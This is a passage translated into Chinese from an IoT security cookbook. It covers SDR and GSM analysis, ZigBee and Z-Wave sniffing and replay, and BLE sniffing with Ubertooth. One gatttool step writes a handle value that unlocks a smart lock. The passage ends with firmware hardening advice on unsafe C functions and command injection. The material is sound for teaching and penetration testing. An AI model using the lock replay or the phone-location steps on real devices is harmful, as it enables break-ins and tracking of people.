  • 增益:这是新处理信号的信噪比与原始信号的信噪比之间的比率。

  • 滤波器:这可以从无线电信号中去除不必要或不需要的组件。它可以是各种类型,如高通滤波器(只允许超过一定阈值的信号通过滤波器)、低通滤波器(只允许低于一定阈值的信号通过滤波器)和带通滤波器(只允许在给定频率范围内的信号通过滤波器)。

  • 采样:这涉及将连续信号转换为具有多个独立值的离散时间信号。如预期的那样,如果采样率不正确,信号将显得不完整或失真,并可能导致不正确的计算。

  • 奈奎斯特定理:在这种情况下,如果采样频率至少是信号带宽的两倍,任何信号都可以用离散样本表示。

  • 模数转换器ADC)/数模转换器DAC):这将模拟信号转换为数字信号,反之亦然。

现在我们对各种无线电术语有了很好的理解,让我们开始看一些工具,用这些工具我们可以玩 SDR 并将其用于安全研究目的。

使用 SDR 工具

在本节中,我们将介绍用于 SDR 和无线电信号分析的最常用工具。我们将从最基本的工具开始,然后使用它来从无线电数据包中提取更多信息。

做好准备

要进行基于 SDR 的安全研究,需要以下工具:

  • 硬件:

  • RTL-SDR

  • 软件:

  • GQRX

  • GNU Radio 伴侣

要安装这些工具,以下存储库具有最佳的构建说明。

确保构建 GNU Radio 伴侣,而不是从apt-get安装,以获得更好的 SDR 工作体验。

SDR 安全研究也取决于您系统的性能。确保为您执行这些任务的虚拟机分配了足够的 RAM。如果可能的话,使用 Ubuntu 实例作为主机以获得最佳体验。

如何做...

RTL-SDR 是 SDR 世界中最好的设备之一。它最初是一种带有 Realtek 芯片组的电视调谐器,可用于许多基于无线电的活动。这些设备的频率各不相同,通常在 22 MHz-1.7 GHz 范围内。

分析 FM

  1. 为了开始 SDR,我们将首先使用 RTL-SDR 查看频谱。这将让我们更好地理解一切是如何运作的,并开始对基于 SDR 的设备进行侦察。

  2. 为此,将你的 RTL-SDR 插入系统。如果你正在使用虚拟机,请确保 RTL-SDR 连接到你的虚拟机。

  3. 接下来,打开 GQRX 并在初始启动菜单中选择 RTL-SDR 设备。在这里,你可以看到我们有不同的部分:

在顶部部分,你可以使用上下箭头键或输入你想要调谐 RTL-SDR 的频率。

在频率部分之后,我们有频谱部分。在这里,你可以看到哪些频率最活跃,当你使用基于无线电的物联网设备时,也可以注意到它们的尖峰。我们稍后会更深入地讨论这个问题。

接下来是瀑布部分,显示了活动与时间的关系。这意味着你可以看到几秒前哪个频率有通信活动。

在右侧部分,我们有接收器选项、输入控制和 FFT 设置,这些是各种配置,将帮助你更好地分析你的数据。然而,为了简单起见,我们不会详细介绍它们。所有的窗格都可以根据需要进行修改和定制。

在这个第一个练习中,我们将通过调谐到一个当地的 FM 电台并在 GQRX 中接收音频来听取其中的内容。

  1. 为此,让我们首先将模式更改为宽 FM 立体声,如下截图所示:

  1. 一旦你做到了,将频率更改为你当地的 FM 电台频率范围如下:

  1. 一旦你点击捕获按钮,你将能够看到一个频谱,在多个地方有尖峰。这些尖峰代表了那个频率范围的活动:

如果你调谐到一个有效的 FM 电台后现在从扬声器中听到声音,你将能够在那个频率听到 FM 广播。

RTL-SDR 用于 GSM 分析

你也可以使用 RTL-SDR 进行许多其他用途。其中一个用途是进行蜂窝分析,如下所示。我们将使用 RTL-SDR 来查找各种手机用户的确切位置详细信息。然后可以使用单向天线来增加范围并收集大量信息。

  1. 为此,启动grgsm_livemon,可以从github.com/ptrkrysik/gr-gsm/下载。如下截图所示启动它:

  1. 这将打开一个grgsm_livemon的屏幕,允许你改变增益和频率以查看频谱:

那么我们如何得到在蜂窝网络上发生活动的频率。为此,我们将使用一个叫做 Kalibrate 的实用工具,它是一个 GSM 频率识别器,可以从github.com/ttsou/kalibrate获取。

  1. 一旦你有了 Kalibrate,指定要扫描的频段——在这种情况下,我们正在扫描 GSM900 并设置增益为 40.0 dB:

  1. 它告诉我们在 956.4 MHz + 9.829 kHz 有大量的流量。让我们启动 GQRX,看看这个频率,如下截图所示:

  1. 果然,在确定的频率上确实有很多活动。现在我们已经得到了想要观察的频率,让我们回到 GRGSM,设置这个频率,并进一步分析:

  1. 我们也可以在 Gr-gsm 中看到相同类型的流量。现在,为了进一步分析,我们需要在 Wireshark 上查看环回lo接口上的流量。正如预期的那样,我们能够在这里看到一些有趣的信息。应用gsmtap过滤器以过滤出对我们相关的消息:

  1. 正如你所看到的,我们已经使用移动国家代码MCC)、移动网络代码MNC)和位置区域代码LAC)确定了这部手机的位置,现在我们可以使用 CellidFinder 等实用程序在地图上找到手机最近的基站:

这就是你可以使用 RTL-SDR 进行各种不同目的的方法,以及分析从正常 FM 到飞行交通甚至到蜂窝交通的许多事物。

使用 GNU Radio

现在,在以前的情况下,一切都只是关于查看频率和分析它,然而,并不是太深入。如果我们有一个传输原始无线电流量的物联网设备,并且我们想要了解幕后发生了什么,并找出它实际传输了什么数据,该怎么办。

为此,我们将使用一个名为 GNU Radio-companion 的实用程序,它允许我们构建无线电块以处理各种无线电信号。在这个实用程序中,你可以选择一个输入源(如 RTL-SDR 源、Osmocom 源、HackRF 源和信号发生器),并在其上应用无线电块,最后将输出存储在原始 wav 文件中或在图表中绘制出来。

在这个练习中,我们正在研究一个气象站,我们将使用 RTL-SDR 源捕获数据,然后执行解调和时钟恢复,以找到气象站实际发送的数据。

要找出设备操作的频率,我们可以使用 GQRX,并在它传输数据时寻找频率峰值。另一个选择是寻找 FCC ID——制造商在美国销售设备所需的标准——它执行重要的放射性。这些信息通常位于设备的标签之一上。

一旦我们有了 FCC ID,我们可以去fccid.io并输入FCC-ID,这将向我们显示设备正在使用的确切频率:

既然我们知道了频率,让我们去 GNU Radio-companion 并创建一个处理来自气象站的数据的工作流程。我们不会深入研究 GNU Radio-companion 及其各种属性,但我们强烈建议您自行探索,并尝试使用各种其他无线电捕获。

以下是我们要添加的块:

  • Osmocom 源:这可以帮助你从 RTL-SDR 获取无线电数据包,并将它们传递给以下块。

  • 复杂到 Mag²:这可以帮助你将复杂数据类型转换为实数,不考虑诸如相位角之类的对我们目前不重要的事物。

  • 乘以常数:这可以帮助你增加接收到的输出数据的强度,因为原始数据可能极低。5 或 10 的值会很好。

  • 文件接收器:这可以帮助你将输出放入一个文件中,然后可以在 audacity 中进行分析。

双击 Osmocom 源以更改其属性,并设置我们之前确定的频率。

还要双击 Wav 文件接收器并给它一个输出文件名。

现在我们准备运行这个。一旦我们运行这个,我们将有一个名为monitor.wav的新文件。将文件作为原始文件导入 audacity。在这一步,这看起来像是 OOK;我们需要将这些数据转换为可理解的实际数据。其中一种方法是让较短的脉冲间隔表示数字零,较长的脉冲间隔表示数字一。这也显示在以下截图中:

如果我们进一步分析数据,现在可以看到气象站发送的确切数据,包括温度和湿度数据:

还有更多...

还有许多围绕 RTL-SDR 和整体 SDR 黑客技术构建的其他实用程序,可以用于许多目的。例如,ADS-B 项目允许您实时跟踪飞行,RTL-433 用于处理 433 MHz 信号,还有其他实用程序可用于利用诸如钥匙扣之类的东西。

理解和利用 ZigBee

ZigBee 是物联网设备中常用的无线协议之一,因为它能够形成网状网络并以低功耗和资源消耗执行操作。它已经在许多垂直领域中得到应用,包括智能家居、工业控制系统(ICS)、智能建筑控制等。在大多数国家,它在 2.4 GHz 运行,在美国和澳大利亚是 902 到 928 MHz,在欧洲是 868 到 868.6 MHz。

在本节中,我们将研究 ZigBee,看看我们如何识别周围的 ZigBee 设备,并嗅探和重放流量以识别安全问题。

准备工作

要使用 ZigBee,需要以下设置:

  • 硬件:Atmel RzRaven USB Stick 刷入了 KillerBee 固件

  • 软件:KillerBee

安装 KillerBee 非常简单,可以按照官方 GitHub 存储库上的说明进行操作,链接在这里github.com/riverloopsec/killerbee

完成设置后,将 RzUSB 棒插入系统。您应该能够看到 LED 呈琥珀色发光。如果颜色是蓝色,这意味着您的 RzUSB 棒未刷入 KillerBee 固件。我们不会详细介绍刷写固件的说明-因为它在 GitHub 存储库中有很好的文档,并且有许多在线商店可以购买预刷写了 KillerBee 固件的 RzRaven。

如何做到...

以下是我们如何开始分析我们周围的 ZigBee 设备并最终使用 RzRaven 和 KillerBee 实用程序嗅探 ZigBee 流量的步骤。

  1. 我们将执行的第一步是查看周围的 ZigBee 设备。可以使用zbid实用程序来完成,如下图所示:

  1. 我们还将以下程序刷入了 Arduino。该程序告诉 Arduino 与通过引脚 2 和 3 连接的 XBee 进行交互,并通过 XBee 发送消息5e87bb4a6cdef053fde67ea9711d51f3。XBee 发送此流量的通道基于给定 XBee 的编程方式。如果您想要编程自己的 XBee 并指定通道,可以使用实用程序 XCTU:
#include <SoftwareSerial.h> 

 int a = 0; 
SoftwareSerial mySerial(2, 3);  

 void setup() { 
Serial.begin(2400); 
} 

void loop() { 
Serial.println("5e87bb4a6cdef053fde67ea9711d51f3"); 
Serial.println(a); 
a++; 
} 
  1. 接下来,我们将 Xbee 和 Arduino 放入 Xbee Shield 中,这与下图所示的情况类似:

  1. 打开盾牌并运行Zbstumbler,如下图所示:

正如我们所看到的,我们能够看到在通道 12 上广播的设备。

  1. 下一步是嗅探通道 12 上的流量,看看它是否包含任何敏感信息。为此,我们将使用zbwireshark实用程序,使用以下语法显示的语法,它将自动在指定语法中的通道上打开 Wireshark 进行 ZigBee 嗅探:
sudo ./zbwireshark -c 12
  1. 正如预期的那样,我们将能够在 Wireshark 中看到所有流量,如下面的屏幕截图所示,以及我们在 Arduino 中编程的敏感字符串:

还有更多...

您还可以执行其他攻击,例如使用 KillerBee 工具套件中的 Zbreplay 等实用程序修改捕获的流量后进行重放攻击。

深入了解 Z-Wave

Z-Wave 是无线传感器网络和家庭自动化中的流行协议之一,在美国的频率是 908.42 MHz,在欧洲是 868.42 MHz。Z-Wave 就像 ZigBee 一样支持网状网络,这使其免受节点故障等问题的影响。

它由 Sigma Systems 开发,与 ZigBee 和其他协议相比,它是一个封闭的协议。这也是安全社区对 Z-Wave 的安全研究倡议相对较少的原因之一,与其他流行的物联网协议相比。还有一些项目,如 OpenZWave 提供开源替代方案;然而,它们仍处于非常早期的阶段。

就像典型的无线通信协议一样,Z-Wave 设备遭受相同一组安全问题的影响。 Z-Wave 设备中最常见的漏洞之一是通信中缺乏加密,这使其容易受到敏感信息明文传输和基于重放的攻击的影响。然而,还要注意的是,诸如 Z-Wave 中的 S2 安全等项目大大增加了设备中 Z-Wave 实现的安全性,此外还保护免受针对密钥交换和设备认证的攻击。

如何做…

对 Z-Wave 进行攻击的一种流行框架是 EZ-Wave(github.com/AFITWiSec/EZ-Wave)由Joe HallBen Ramsey开发,它使用 Hack RF 硬件对 Z-Wave 协议进行攻击。

EZ-Wave 工具包包括三个工具,如下所示:

  • 设备发现和枚举-EZStumbler

  • 对已识别设备进行侦察-EZRecon

  • 利用-EZFingerprint

评估 Z-Wave 协议的一种方法是捕获传输中的数据包,并查找明文传输的敏感信息:

使用所有前述的构建模块,我们的最终流程图如下所示:

图像来源:http://oldsmokingjoe.blogspot.in/2016/04/z-wave-protocol-analysis-using-ez-wave.html。

完成后,我们可以选择重放数据包,或者根据我们想要实现的目标修改然后重放。另一类针对 Z-Wave 系统的攻击是从网络中分离/取消配对 Z-Wave 设备节点的攻击,欺骗攻击,干扰和拒绝服务攻击等。

理解和利用 BLE

BLE 或蓝牙低功耗是许多智能设备中最常见的平台之一,从智能家居到医疗设备工具,甚至健身追踪器和可穿戴设备都有。 BLE 日益受欢迎的原因之一是我们今天使用的几乎所有智能手机都支持 BLE,因此更容易与基于 BLE 的物联网设备进行交互。

BLE 设计用于资源和功耗受限的设备,BLE 通过提供短暂的远程无线连接有效解决了这个问题,从而显著节省了电池消耗。

BLE 最初是在蓝牙 4.0 规范中引入的,专注于需要极低功耗通信模式的设备,BLE 声称可以在单个纽扣电池上持续几个月到几年。

基于其当前连接和操作阶段,BLE 设备可以以四种不同的模式运行:

  • 中心设备和外围设备:在这种分类中,扫描广告数据包并发起连接的设备称为中心设备,而广告自己进行连接的设备称为外围设备。一个例子是智能手机作为中心设备,健身追踪器作为外围设备。

  • 广播器和观察者:顾名思义,广播器是一个广播数据的设备,而观察者是一个扫描广告数据包的设备。然而,与以前的分类类型相比,这里的主要区别是广播器是不可连接的,观察者不能发起连接。例如,一个连续发射温度数据的天气站是一个广播器,而接收广播并在屏幕上显示的显示器是一个观察者。

BLE 由 40 个不同的通道组成——3 个广告通道和 37 个数据通道,如下图所示:

来源:http://www.connectblue.com/press/articles/shaping-the-wireless-future-with-low-energy-applications-and-systems/

BLE 还执行频率跳频扩频,这意味着它在每个事件上不断改变通道。然而,在接下来的部分中我们将要使用的工具将能够跟踪设备通过跳频,并能够嗅探 BLE 通信的数据。

为了更好地准备好自己,了解蓝牙低功耗的基本概念,这是 BLE 堆栈的外观:

图片来源:http://www.embetronicx.com/

如您所见,这里有三个主要层:应用程序主机控制器。此外,主机控制器通过所谓的主机控制器接口HCI)进行交互。

控制器包含链路层LL)和LE 物理层PHY)。物理层负责信号调制和解调的主要任务,并在连接期间计算设备的跳频模式。链路层负责管理许多任务,包括设备的蓝牙地址、加密和连接初始化,以及处理广告数据包。

主机层包含我们在 BLE 开发中将直接使用的一些最重要的东西。这些包括通用访问配置文件GAP)和通用属性配置文件GATT)。

GAP 负责控制大部分广告和连接初始化,以及定义通信中各种设备的角色。

GATT 直接位于 ATT 之上,ATT 负责主/从之间的数据交换,并执行一些操作,如读取、写入和错误处理。GATT 在 ATT 之上添加了一个整体的数据组织层,使其更易于理解。在 GATT 中,整个数据按照给定的图表进行分类:

从上图可以看出,整体数据组织成最低层的特征,其中包含描述符。一个例子是每分钟心跳和其值存储在特征中。特征还有一个唯一的 UUID,可以从蓝牙特殊兴趣组SIG)数据库中引用,该数据库位于www.bluetooth.com/specifications/gatt/characteristics

接下来,各种相似的特征被封装在服务中。服务的一个例子是心率服务,其中包含各种特征,如每分钟心跳、不规则心跳和恐慌发作。服务还有一个 16 位 UUID,可以从蓝牙 SIG 服务 UUID 数据库中引用,该数据库位于www.bluetooth.com/specifications/gatt/services

接下来,整个服务都包含在一个配置文件中,这可以是一个通用配置文件,例如心脏健康配置文件,其中包含各种服务,如heart-rate-serviceheart-oxygen-service

如前所述,在嗅探期间,我们的目标是找到正在读取和写入的特征值。这些特征通常被称为句柄,一旦我们捕获到流量,就会看到这些句柄。

接下来,BLE 堆栈的另一个重要组件是 L2CAP。L2CAP 代表逻辑链路控制和适配协议,主要负责从其他层获取数据并将数据封装在适当的 BLE 数据包结构中。

这就是我们开始 BLE 利用所需要知道的全部。现在,让我们开始动手吧。

准备工作

要开始进行 BLE 利用,我们需要以下工具:

  • 软件:

  • Blue Hydra 或 HCI Utils

  • Ubertooth utils

  • Gattacker

  • 硬件:

  • BLE 适配器插头

  • Ubertooth 或类似的 BLE 嗅探器

在处理 BLE 时,我们的方法是首先找出目标设备的地址,同时在执行目标 BLE 设备的操作时嗅探该特定地址的流量。

这将使我们能够找到正在设备上写入以执行某个操作的特定 BLE 句柄。为了更好地了解 BLE 句柄是什么,它们只是对 BLE 特征具有的各种属性的引用。

在本节中,我们将确保我们已经正确设置了一切,如下所示。

确保蓝牙适配器插头连接到您的虚拟机,并且您能够看到hci接口,如下截图所示:

接下来,从它们的官方 GitHub 存储库安装以下工具:

一旦您安装和配置了所有这些,我们就准备好开始与周围的 BLE 设备进行交互了。

如何做...

  1. 我们要做的第一件事是与我们周围的 BLE 设备进行交互,查看周围所有设备并找到它们的蓝牙地址。可以使用以下命令完成:
sudo hcitool lescan 
  1. 这使用 Hcitool 的lescan(低功耗扫描)功能来查找附近所有 BLE 广告,如下截图所示:

如您所见,我们能够识别出我们周围的许多设备以及它们的地址。接下来,我们可以使用 Ubertooth 来嗅探给定设备的流量,如下所示。

Ubertooth One 是由Michael Ossman的 GreatScottGadgets 开发的设备,用于评估蓝牙设备的安全性。它由 CC2400 2.4 GHz 射频收发器和带有 USB 端口的 NXP LPC1756 微控制器组成。

对于我们作为安全研究人员和渗透测试人员,它可以帮助识别诸如明文数据传输之类的安全问题,还可以识别在网络通信期间正在被写入和读取的句柄。

  1. 要使用 Ubertooth 嗅探从给定设备后面的连接,请使用以下语法:
sudo ubertooth-btle -f -t [address] -c [capture-output]

  1. 用设备的地址替换[address],这是我们在上一步骤中识别的设备的地址。

[capture-output]可以是文件,也可以是管道,以便进行主动流量拦截。

让我们使用/tmp/pipe作为捕获接口,其中一个管道的一端从 Ubertooth 获取输入数据,另一个管道的另一端在 Wireshark 中显示数据。

  1. 要做到这一点,打开另一个终端窗口,输入 mkfifo /tmp/pipe。完成后,转到 Wireshark | 捕获接口 | 管理接口 | 新接口 | 管道,并添加值/tmp/pipe并保存接口。

  2. 接下来,在 Wireshark 中开始嗅探/tmp/pipe接口,这是您刚刚创建的。根据您执行的操作和目标设备,您将能够在 Wireshark 中看到 BLE 流量显示,如下面的屏幕截图所示:

在前面的屏幕截图中,我们还应用了一个过滤器btl2cap.cid==0x004,以确保我们获得具有有用数据的数据包。正如您在图像中也可以看到的,我们收到了许多读/写请求,以及句柄的详细信息和写入该特定句柄的值。在这种情况下,句柄 0x0037 和值 1 对应于解锁基于 BLE 的智能锁。

现在我们知道为了执行特定操作而写入句柄的值是什么,我们可以自己写入该特定句柄,而无需 Ubertooth。为此,我们将使用 BLE 适配器和一个名为gatttool的实用程序。

  1. 要做到这一点,启动gatttool,如下所示,以及使用-b-I标志提供蓝牙地址并指定在交互模式下打开:
sudo gatttool -b [Bluetooth-address] -I 
[gatttool prompt] connect 

  1. 接下来,我们在这里需要做的就是向目标设备发送写请求,指定我们要写入句柄的值,如下面的屏幕截图所示:

这已经解锁了智能锁,因为智能锁检测到句柄0x0037现在具有值01,这与智能锁解锁的状态相关。

这就是您可以与基于 BLE 的物联网设备进行交互,找出哪些句柄正在被写入,然后自己写入这些句柄的方法。

  1. 您还可以通过查看所有服务的所有值来查看设备的其他属性,如下面的屏幕截图所示:

  1. 这也可以用于特征,如下面的屏幕截图所示:

还有更多...

要有效地嗅探 BLE 流量,重要的是要识别可能在任何三个广告信道上进行广告的设备。为此,重要的是要设置三个 Ubertooth 而不是一个。

此外,您可以尝试一些其他工具:

  • btlejuice:如果您想要使用 Web GUI 界面对 BLE 流量进行中间人攻击,这是一个方便的工具

  • Gattacker:这类似于btlejuice,但没有 GUI

  • BLEah:这是一个 BLE 信息收集工具

第八章:固件安全最佳实践

在本章中,我们将涵盖以下内容:

  • 防止内存损坏漏洞

  • 防止注入攻击

  • 保护固件更新

  • 保护敏感信息

  • 加固嵌入式框架

  • 保护第三方代码和组件

介绍

嵌入式软件是被认为是物联网的核心,尽管嵌入式应用安全通常不被视为嵌入式开发人员和物联网设备制造商的高优先级。这可能是由于缺乏安全编码知识或团队代码库之外的其他挑战。开发人员面临的其他挑战可能包括但不限于原始设计制造商(ODM)供应链、有限的内存、小堆栈以及安全地向端点推送固件更新的挑战。本章提供了开发人员可以在嵌入式固件应用中采用的实用最佳实践指南。根据 OWASP 的嵌入式应用安全项目(www.owasp.org/index.php/OWASP_Embedded_Application_Security),嵌入式最佳实践包括:

  • 缓冲区和堆栈溢出保护

  • 防止注入攻击

  • 保护固件更新

  • 保护敏感信息

  • 身份管理控制

  • 加固嵌入式框架和基于 C 的工具链

  • 使用调试代码和接口

  • 保护设备通信

  • 数据收集和存储的使用

  • 保护第三方代码

  • 威胁建模

本章将讨论前述的几种最佳实践,主要针对 POSIX 环境,但原则上设计为平台无关。

防止内存损坏漏洞

在使用 C 等低级语言时,如果开发人员没有正确检查和验证边界,就有很高的可能性出现内存损坏错误。防止使用已知的危险函数和 API 有助于防止固件内的内存损坏漏洞。例如,已知的不安全 C 函数的非穷尽列表包括:strcatstrcpysprintfscanfgets。常见的内存损坏漏洞,如缓冲区溢出或堆溢出,可能包括堆栈或堆的溢出。利用这些特定的内存损坏漏洞的影响因操作系统平台而异。例如,商业 RTOS 平台如 QNX Neutrino 将每个进程及其堆栈与文件系统隔离,最小化攻击面。然而,对于常见的嵌入式 Linux 发行版可能并非如此。在嵌入式 Linux 中,缓冲区溢出可能导致恶意代码的任意执行和对操作系统的修改。在本教程中,我们将展示工具如何帮助检测易受攻击的 C 函数,并提供防止内存损坏漏洞的安全控制和最佳实践。

准备工作

对于这个教程,将使用以下工具:

  • Flawfinder:Flawfinder 是一个免费的 C/C++静态代码分析工具,报告潜在的安全漏洞。

操作方法...

常见的 Linux 实用工具对于搜索 C/C++代码文件非常有帮助。尽管商业上可用的源代码分析工具可以比常见实用工具更好地防止内存损坏漏洞,并且开发人员可以使用 IDE 插件。为了演示目的,我们将展示如何使用 grep 和 flawfinder 搜索代码文件中的预定义函数易受攻击的调用和规则。

  1. 要发现不安全的 C 函数,有几种方法可以使用。最简单的形式是使用类似于以下示例的grep表达式:
$ grep -E '(strcpy|strcat|sprintf|strlen|memcpy|fopen|gets)' code.c

这个表达可以调整得更智能一些,或者包装成一个脚本,可以在每次构建时执行,或者按需执行。

  1. 或者,可以使用flawfinder等免费工具来搜索易受攻击的函数,方法是调用flawfinder和代码片段的路径,如以下示例所示:
$ flawfinder fuzzgoat.c
Flawfinder version 1.31, (C) 2001-2014 David A. Wheeler.
Number of rules (primarily dangerous function names) in C/C++ ruleset: 169
Examining fuzzgoat.c

FINAL RESULTS:

fuzzgoat.c:1049: [4] (buffer) strcpy:
Does not check for buffer overflows when copying to destination (CWE-120).
Consider using strcpy_s, strncpy, or strlcpy (warning, strncpy is easily misused).
    fuzzgoat.c:368: [2] (buffer) memcpy:
    Does not check for buffer overflows when copying to destination        (CWE-120).
    Make sure destination can always hold the source data.
fuzzgoat.c:401: [2] (buffer) sprintf:
    Does not check for buffer overflows (CWE-120). Use sprintf_s, 
    snprintf, or vsnprintf. Risk is low because the source has a    
    constant maximum length.
    <SNIP>
fuzzgoat.c:1036: [2] (buffer) strcpy:
    Does not check for buffer overflows when copying to destination (CWE-120).
    Consider using strcpy_s, strncpy, or strlcpy (warning, strncpy is 
    easily
    misused). Risk is low because the source is a constant string.
fuzzgoat.c:1041: [2] (buffer) sprintf:
    Does not check for buffer overflows (CWE-120). Use sprintf_s, 
    snprintf, or vsnprintf. Risk is low because the source has a      
    constant maximum length.
fuzzgoat.c:1051: [2] (buffer) strcpy:
    Does not check for buffer overflows when copying to destination (CWE-120).
    Consider using strcpy_s, strncpy, or strlcpy (warning, strncpy is    
    easily misused). Risk is low because the source is a constant     
    string.
ANALYSIS SUMMARY:

Hits = 24
Lines analyzed = 1082 in approximately 0.02 seconds (59316 lines/second)
Physical Source Lines of Code (SLOC) = 765
Hits@level = [0] 0 [1] 0 [2] 23 [3] 0 [4] 1 [5] 0
Hits@level+ = [0+] 24 [1+] 24 [2+] 24 [3+] 1 [4+] 1 [5+] 0
Hits/KSLOC@level+ = [0+] 31.3725 [1+] 31.3725 [2+] 31.3725 [3+] 
1.30719 [4+] 1.30719 [5+] 0
Minimum risk level = 1
Not every hit is necessarily a security vulnerability.
There may be other security vulnerabilities; review your code!
See 'Secure Programming for Linux and Unix HOWTO'
(http://www.dwheeler.com/secure-programs) for more information.

  1. 在发现正在使用的易受攻击的 C 函数时,必须合并安全替代方案。例如,以下易受攻击的代码使用不安全的gets()函数,不检查缓冲区长度:
#include <stdio.h> 
int main () { 
    char userid[8]; 
    int allow = 0; 
    printf external link("Enter your userID, please: "); 
    gets(userid);  
    if (grantAccess(userid)) { 
        allow = 1; 
    } 
    if (allow != 0) {  
        privilegedAction(); 
    } 
    return 0; 
} 
  1. userid可以使用超过8个字符的任意数量进行溢出,例如具有自定义执行函数的缓冲区溢出利用(BoF)有效负载。为了减轻缓冲区溢出的影响,可以使用fgets()函数作为安全的替代方法。以下示例代码显示了如何安全地使用fgets()并正确分配内存:
#include <stdio.h> 
#include <stdlib.h> 
#define LENGTH 8 
int main () { 
    char* userid, *nlptr; 
    int allow = 0; 

    userid = malloc(LENGTH * sizeof(*userid)); 
    if (!userid) 
        return EXIT_FAILURE; 
    printf external link("Enter your userid, please: "); 
    fgets(userid,LENGTH, stdin); 
    nlptr = strchr(userid, '\n'); 
    if (nlptr) *nlptr = '\0'; 

    if (grantAccess(userid)) { 
        allow = 1; 
    } 
    if (allow != 0) { 
        priviledgedAction(); 
    } 

    free(userid); 

    return 0; 
} 

可以使用相同的缓解措施来使用其他安全替代函数,如snprintf()strlcpy()strlcat()。根据操作系统平台的不同,某些安全替代方案可能不可用。重要的是要进行自己的研究,以确定特定架构和平台的安全替代方案。英特尔创建了一个名为safestringlib的开源跨平台库,以防止使用这些不安全的禁止函数;使用替代的安全替换函数。有关safestringlib的更多详细信息,请访问 GitHub 页面:github.com/01org/safestringlib

还可以使用其他内存安全控件来防止内存腐败漏洞,例如以下控件:

  • 使用安全编译器标志,如-fPIE,-fstack-protector-all,-Wl,-z,noexecstack,-Wl,-z,noexecheap 等,这些可能取决于您特定的编译器版本。

  • 首选包含内存管理单元(MMU)的系统芯片(SoC)和微控制器(MCU)。MMU 将线程和进程隔离,以减少攻击面,如果内存错误被利用。

  • 首选包含内存保护单元(MPU)的系统芯片(SoC)和微控制器(MCU)。MPU 强制执行内存的访问规则,并分离进程,同时执行特权规则。

  • 如果没有 MMU 或 MPU 可用,可以使用已知位来监视堆栈,以确定堆栈的多少被消耗掉。

  • 在放置缓冲区和释放缓冲区位置后,要注意放置什么。

利用地址空间布局随机化(ASLR)和其他堆栈控件的内存漏洞需要攻击者付出大量努力才能利用。尽管在某些情况下仍然可能发生。确保代码具有弹性,并采用深度防御方法,以便将数据放置在内存中有助于嵌入式设备的安全姿态。

另请参阅

预防注入攻击

注入攻击是任何 Web 应用程序中最严重的漏洞之一,尤其是在物联网系统中。事实上,自 2010 年以来,注入一直是 OWASP 十大漏洞中排名前两位。有许多类型的注入攻击,如操作系统(OS)命令注入、跨站脚本(例如 JavaScript 注入)、SQL 注入、日志注入,以及其他类型的表达式语言注入。在物联网和嵌入式系统中,最常见的注入攻击类型是操作系统命令注入;当应用程序接受不受信任的用户输入并将该值传递以执行 shell 命令而没有输入验证或适当的转义时,以及跨站脚本(XSS)。本文将向您展示如何通过确保所有不受信任的数据和用户输入都经过验证、经过清理,并使用替代安全函数来减轻命令注入攻击。

如何做...

当物联网设备运行时,注入攻击的静态和动态测试并不难。固件可以调用system()exec()和类似的变体来执行操作系统命令,或者调用从解释语言(如 Lua)运行 OS 调用的外部脚本。命令注入漏洞也可能由缓冲区溢出引起。以下步骤和示例显示了易受命令注入攻击的代码,以及如何减轻命令注入攻击。之后,我们将列出常见的安全控制措施,以防止常见的注入攻击。

  1. 以下代码片段调用危险的system() C 函数来删除home目录中的.cfg文件。如果攻击者能够控制该函数,则可以连接后续的 shell 命令来执行未经授权的操作。此外,攻击者可以操纵环境变量来删除任何以.cfg结尾的文件:
#include <stdlib.h> 

void func(void) { 
  system("rm ~/.cfg"); 
}
  1. 为了减轻前面的易受攻击的代码,将使用unlink()函数而不是system()函数。unlink()函数不容易受到符号链接和命令注入攻击。unlink()函数删除符号链接,不会影响符号链接内容命名的文件或目录。这减少了unlink()函数易受符号链接攻击的可能性,但并不能完全阻止符号链接攻击;如果命名目录相同,也可能被删除。unlink()函数可以防止命令注入攻击,应该使用类似的上下文函数而不是执行操作系统调用:
#include <pwd.h> 
#include <unistd.h> 
#include <string.h> 
#include <stdlib.h> 
#include <stdio.h> 
void func(void) { 
  const char *file_format = "%s/.cfg"; 
  size_t len; 
  char *pathname; 
  struct passwd *pwd; 

  pwd = getpwuid(getuid()); 
  if (pwd == NULL) { 
    /* Handle error */ 
  } 

  len = strlen(pwd->pw_dir) + strlen(file_format) + 1; 
  pathname = (char *)malloc(len); 
  if (NULL == pathname) { 
    /* Handle error */ 
  } 
  int r = snprintf(pathname, len, file_format, pwd->pw_dir); 
  if (r < 0 || r >= len) { 
    /* Handle error */ 
  } 
  if (unlink(pathname) != 0) { 
    /* Handle error */ 
  } 

  free(pathname); 
} 

还有其他几种方法可以减轻注入攻击。以下是一些常见的防止注入攻击的最佳实践和控制措施的列表:

  • 尽量避免直接调用操作系统调用。

  • 如有需要,列出接受的命令并在执行之前验证输入值。

  • 为用户驱动的字符串使用数字到命令字符串的查找映射,这些字符串可能会传递给操作系统,例如{1:ping -c 5}

  • 对代码库进行静态代码分析,并在使用 OS 命令(如os.system())时发出警报。

  • 将所有用户输入视为不受信任,并对返回给用户的数据进行输出编码(例如,将&转换为&amp将<转换为&lt将>转换为&gt等)。

  • 对于 XSS,使用 HTTP 响应头,如 X-XSS-Protection 和 Content-Security-Policy,并配置适当的指令。

  • 确保在生产固件版本中禁用带有命令执行的调试接口(例如,example.com/command.php)。

前面提到的控制措施在生产环境中使用固件之前都需要进行测试。在注入攻击中,设备和用户面临被攻击者接管的风险,以及流氓设备。我们在 2017 年看到了物联网 Reaper 和 Persirai 僵尸网络发生的事件。这只是开始。

另请参阅

保护固件更新

根据行业,只有来自制造商、供应商或企业的授权固件才能刷入设备。为确保这一点,必须在下载固件时使用强大的更新机制,并在适用时,用于更新与第三方软件或库相关的功能。所有固件都应使用加密签名,以便验证文件自开发者创建并签名以来未被修改或篡改。签名和验证过程使用公钥加密,很难在未获得私钥的情况下伪造数字签名(例如 PGP 签名)。使用公钥加密时,必须将其安全存储,并且不暴露给意外的第三方。如果私钥被泄露,软件开发人员必须撤销受损的密钥,并需要使用新密钥重新签署所有先前的固件版本。这已经成为许多物联网产品的问题,用户需要将设备送回或将牵引车辆送到服务商店。保护固件更新的实施因部署物联网设备的行业而异。例如,一些产品可能具有空中OTA)更新,而其他产品可能需要通过 USB 手动更新或通过加载新的固件映像的界面进行更新。对于一些普通的消费级物联网设备来说,这可能不是一个大问题,但是如果未经授权的恶意固件加载到连接的车辆或医疗设备上,后果可能是致命的。本文将列出可用于保护固件更新的功能。

如何做到…

